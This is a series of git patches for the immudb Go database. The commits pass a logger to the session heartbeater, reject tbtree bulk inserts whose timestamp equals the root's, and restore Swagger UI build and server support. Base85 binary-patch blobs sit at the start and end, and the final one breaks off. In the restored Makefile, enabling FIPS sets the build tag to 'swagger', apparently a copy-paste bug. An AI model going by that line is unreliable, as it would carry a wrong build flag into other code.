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 LIngo^J-`10xnV|@ From dcec3dc9decf8319e30cb80f7600a2ed1b402640 Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Tue, 12 Sep 2023 16:46:12 +0200 Subject: [PATCH 0723/1062] feat: pass logger to heartbeater --- pkg/client/heartbeater.go | 8 ++++++-- pkg/client/session.go | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/pkg/client/heartbeater.go b/pkg/client/heartbeater.go index c56533c7cd..d137c684f7 100644 --- a/pkg/client/heartbeater.go +++ b/pkg/client/heartbeater.go @@ -40,10 +40,14 @@ type HeartBeater interface { Stop() } -func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, errhandler ErrorHandler) *heartBeater { +func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, errhandler ErrorHandler, l logger.Logger) *heartBeater { + if l == nil { + l = logger.NewSimpleLogger("immuclient", stdos.Stdout) + } + return &heartBeater{ sessionID: sessionID, - logger: logger.NewSimpleLogger("immuclient", stdos.Stdout), + logger: l, serviceClient: sc, done: make(chan struct{}), t: time.NewTicker(keepAliveInterval), diff --git a/pkg/client/session.go b/pkg/client/session.go index b1d188a5ca..f7f87db3df 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -79,7 +79,7 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, c.Options.DialOptions = dialOptions c.SessionID = resp.GetSessionID() - c.HeartBeater = NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler) + c.HeartBeater = NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler, c.Logger) c.HeartBeater.KeepAlive(context.Background()) c.WithStateService(stateService) From b5951b8691d98bea0a308e23af455ae79c7b3891 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 4 Aug 2023 21:13:51 +0530 Subject: [PATCH 0724/1062] fix: insertion ts for key-values should not be equal to the current root ts --- embedded/tbtree/tbtree.go | 2 +- embedded/tbtree/tbtree_test.go | 17 +++++++++++++++++ 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 3f50823998..13183a3677 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1633,7 +1633,7 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { if t == 0 { // zero-valued timestamps are associated with current time plus one t = currTs + 1 - } else if kvt.T < currTs { + } else if kvt.T <= currTs { // insertion with a timestamp older or equal to the current timestamp should not be allowed return fmt.Errorf("%w: specific timestamp is older than root's current timestamp", ErrIllegalArguments) } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index cdc0162c0a..96368f6902 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1545,6 +1545,23 @@ func TestMultiTimedBulkInsertion(t *testing.T) { require.Equal(t, initialTs, tbtree.Ts()) }) + t.Run("bulk-insertion of the same key timestamp equal to current timestamp of root should not be possible", func(t *testing.T) { + _, _, err = tbtree.Flush() + require.NoError(t, err) + + err = tbtree.Insert([]byte("key3_1"), []byte("value3_1")) + require.NoError(t, err) + + currTs := tbtree.Ts() + + kvts := []*KVT{ + {K: []byte("key3_2"), V: []byte("value3_2"), T: currTs}, + } + + err = tbtree.BulkInsert(kvts) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + err = tbtree.Close() require.NoError(t, err) } From 6239e3ed3e6e102c4494acd56235acf5cf60cc94 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 21 Sep 2023 14:03:52 +0200 Subject: [PATCH 0725/1062] Revert "chore: remove initial swagger support" This reverts commit 6b778e4f3f93be0f082e881a1ba643b7066386a5. --- .gitignore | 2 ++ Makefile | 32 +++++++++++++++++++++--- cmd/immudb/command/init.go | 1 + cmd/immudb/command/parse_options.go | 2 ++ pkg/server/options.go | 7 ++++++ pkg/server/webserver.go | 8 ++++++ swagger/default/index.html | 31 +++++++++++++++++++++++ swagger/default/mascot.png | Bin 0 -> 28825 bytes swagger/swagger.go | 25 +++++++++++++++++++ swagger/swagger_default.go | 28 +++++++++++++++++++++ swagger/swagger_default_test.go | 34 +++++++++++++++++++++++++ swagger/swagger_test.go | 37 ++++++++++++++++++++++++++++ swagger/swaggeroverrides.js | 24 ++++++++++++++++++ 13 files changed, 228 insertions(+), 3 deletions(-) create mode 100644 swagger/default/index.html create mode 100644 swagger/default/mascot.png create mode 100644 swagger/swagger.go create mode 100644 swagger/swagger_default.go create mode 100644 swagger/swagger_default_test.go create mode 100644 swagger/swagger_test.go create mode 100644 swagger/swaggeroverrides.js diff --git a/.gitignore b/.gitignore index fdc4c8e8d3..1e974d4835 100644 --- a/.gitignore +++ b/.gitignore @@ -48,4 +48,6 @@ immudb_pwd token token_admin +swagger/dist +swagger/swaggerembedded webconsole/webconsoleembedded \ No newline at end of file diff --git a/Makefile b/Makefile index 11c80f3872..9e822ffb5a 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,10 @@ VERSION=1.5.0 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 +SWAGGER?=false FIPSENABLED?=false +SWAGGERUIVERSION=4.15.5 +SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" PWD = $(shell pwd) GO ?= go @@ -50,15 +53,19 @@ V_BUILD_NAME ?= "" V_BUILD_FLAG = -o $(V_BUILD_NAME) GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') +SWAGGER_BUILDTAG= WEBCONSOLE_BUILDTAG= FIPS_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif +ifeq ($(SWAGGER),true) +SWAGGER_BUILDTAG=swagger +endif ifeq ($(FIPSENABLED),true) -FIPS_BUILDTAG=fips +FIPS_BUILDTAG=swagger endif -IMMUDB_BUILD_TAGS=-tags "$(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" +IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest @@ -181,10 +188,29 @@ build/codegenv2: --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ + --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ + +./swagger/dist: + rm -rf swagger/dist/ + curl -L $(SWAGGERUILINK) | tar -xz -C swagger + mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) + cp pkg/api/openapi/apidocs.swagger.json swagger/dist/apidocs.swagger.json + cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json + cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js + +.PHONY: swagger +ifeq ($(SWAGGER),true) +swagger: ./swagger/dist + env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger +else +swagger: + env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger +endif + .PHONY: clean clean: - rm -rf immudb immuclient immuadmin immutest ./webconsole/dist + rm -rf immudb immuclient immuadmin immutest ./webconsole/dist ./swagger/dist .PHONY: man man: diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 9d14485aa8..2d5d2350d7 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -86,6 +86,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") cmd.Flags().Bool("grpc-reflection", options.GRPCReflectionServerEnabled, "GRPC reflection server enabled") + cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index cd668ae8a1..aa616dbb3d 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -83,6 +83,7 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") grpcReflectionServerEnabled := viper.GetBool("grpc-reflection") + swaggerUIEnabled := viper.GetBool("swaggerui") s3Storage := viper.GetBool("s3-storage") s3Endpoint := viper.GetString("s3-endpoint") @@ -145,6 +146,7 @@ func parseOptions() (options *server.Options, err error) { WithSessionOptions(sessionOptions). WithPProf(pprof). WithLogFormat(logFormat). + WithSwaggerUIEnabled(swaggerUIEnabled). WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled) return options, nil diff --git a/pkg/server/options.go b/pkg/server/options.go index 71f0123430..5019334c7f 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -73,6 +73,7 @@ type Options struct { PProf bool LogFormat string GRPCReflectionServerEnabled bool + SwaggerUIEnabled bool } type RemoteStorageOptions struct { @@ -137,6 +138,7 @@ func DefaultOptions() *Options { SessionsOptions: sessions.DefaultOptions(), PProf: false, GRPCReflectionServerEnabled: true, + SwaggerUIEnabled: true, } } @@ -472,6 +474,11 @@ func (o *Options) WithGRPCReflectionServerEnabled(enabled bool) *Options { return o } +func (o *Options) WithSwaggerUIEnabled(enabled bool) *Options { + o.SwaggerUIEnabled = enabled + return o +} + // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index bc24364f90..a609c6af78 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -25,6 +25,7 @@ import ( "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" @@ -74,6 +75,13 @@ func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsCo return nil, err } + if s.Options.SwaggerUIEnabled { + err = swagger.SetupSwaggerUI(webMux, l, httpAddr) + if err != nil { + return nil, err + } + } + httpServer := &http.Server{Addr: httpAddr, Handler: webMux} httpServer.TLSConfig = tlsConfig diff --git a/swagger/default/index.html b/swagger/default/index.html new file mode 100644 index 0000000000..95263e9f15 --- /dev/null +++ b/swagger/default/index.html @@ -0,0 +1,31 @@ + + + + No Swagger UI enabled + + + + + immudb + + + immudb mascot +

immudb was built without swagger ui support.

+

See here for instructions, or download an official build.

+ + diff --git a/swagger/default/mascot.png b/swagger/default/mascot.png new file mode 100644 index 0000000000000000000000000000000000000000..0210168fd06a3a2b7965d6e3f1a0b2a3e32d2f75 GIT binary patch literal 28825 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 